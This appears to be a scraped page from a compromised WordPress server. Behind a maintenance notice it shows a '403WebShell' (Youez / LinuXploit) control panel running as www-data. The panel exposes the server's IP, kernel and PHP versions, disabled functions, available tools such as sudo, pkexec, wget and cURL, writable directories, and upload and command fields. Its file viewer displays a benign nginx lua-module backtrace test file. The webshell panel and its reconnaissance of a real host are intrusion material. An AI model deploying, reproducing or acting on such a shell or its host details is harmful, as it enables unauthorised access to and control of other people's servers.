WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/nginx/src/lua_nginx_module/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/nginx/src/lua_nginx_module/t//073-backtrace.t
# vim:set ft= ts=4 sw=4 et fdm=marker:
use Test::Nginx::Socket::Lua;

#worker_connections(1014);
#master_on();
#workers(2);
#log_level('warn');

repeat_each(2);
#repeat_each(1);

plan tests => repeat_each() * 51;

#no_diff();
no_long_string();
run_tests();

__DATA__

=== TEST 1: sanity
--- config
    location /lua {
        content_by_lua
        '   function bar()
                return lua_concat(3)
            end
            function foo()
                bar()
            end
            foo()
        ';
    }
--- request
GET /lua
--- ignore_response
--- error_log
attempt to call global 'lua_concat'
: in function 'bar'
:5: in function 'foo'
:7: in function



=== TEST 2: error(nil)
--- config
    location /lua {
        content_by_lua
        '   function bar()
                error(nil)
            end
            function foo()
                bar()
            end
            foo()
        ';
    }
--- request
GET /lua
--- ignore_response
--- error_log eval
[
'lua entry thread aborted: runtime error: unknown reason',
'stack traceback:',
" in function 'error'",
": in function 'bar'",
":5: in function 'foo'",
qr/:7: in function <content_by_lua\(nginx\.conf:\d+\):1>/,
]



=== TEST 3: deep backtrace in a single coroutine (more than 15)
--- config eval
my $s = "
    location /lua {
        content_by_lua '
";
my $prev;
for my $i (1..18) {
    if (!defined $prev) {
        $s .= "
            local function func$i()
                return error([[blah]])
            end";
    } else {
        $s .= "
            local function func$i()
                local v = func$prev()
                return v
            end";
    }
    $prev = $i;
}
$s .= "
            func$prev()
        ';
    }
";
--- request
GET /lua
--- stap2
probe process("$LIBLUA_PATH").function("lua_concat") {
    println("lua concat")
    //print_ubacktrace()
}
--- stap_out2
--- ignore_response
--- error_log
: blah
: in function 'func1'
:7: in function 'func2'
:11: in function 'func3'
:15: in function 'func4'
:19: in function 'func5'
:23: in function 'func6'
:27: in function 'func7'
:31: in function 'func8'
:35: in function 'func9'
:39: in function 'func10'
:43: in function 'func11'
:47: in function 'func12'
:51: in function 'func13'
:55: in function 'func14'
:59: in function 'func15'
:63: in function 'func16'
:67: in function 'func17'
:71: in function 'func18'
:74: in function



=== TEST 4: deep backtrace in a single coroutine (more than 22)
--- config eval
my $s = "
    location /lua {
        content_by_lua '
";
my $prev;
for my $i (1..23) {
    if (!defined $prev) {
        $s .= "
            local function func$i()
                return error([[blah]])
            end";
    } else {
        $s .= "
            local function func$i()
                local v = func$prev()
                return v
            end";
    }
    $prev = $i;
}
$s .= "
            func$prev()
        ';
    }
";
--- request
GET /lua
--- stap2
probe process("$LIBLUA_PATH").function("lua_concat") {
    println("lua concat")
    //print_ubacktrace()
}
--- stap_out2
--- ignore_response
--- error_log
: blah
: in function 'func1'
:7: in function 'func2'
:11: in function 'func3'
:15: in function 'func4'
:19: in function 'func5'
:23: in function 'func6'
:27: in function 'func7'
:31: in function 'func8'
:35: in function 'func9'
:39: in function 'func10'
:43: in function 'func11'
:47: in function 'func12'
:59: in function 'func15'
:63: in function 'func16'
:67: in function 'func17'
:71: in function 'func18'
:75: in function 'func19'
:79: in function 'func20'
:83: in function 'func21'
...

Youez - 2016 - github.com/yon3zu
LinuXploit